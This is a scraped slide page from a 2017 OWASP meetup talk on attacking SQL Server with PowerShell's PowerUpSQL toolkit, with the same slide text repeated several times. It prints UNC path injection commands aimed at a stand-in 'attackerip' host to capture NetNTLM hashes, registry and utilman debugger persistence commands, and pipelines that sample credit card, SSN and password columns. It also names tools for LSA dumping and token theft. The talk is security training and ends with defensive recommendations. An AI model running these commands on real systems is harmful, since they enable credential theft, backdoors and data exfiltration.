  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 84: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 85: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 86: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 87: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

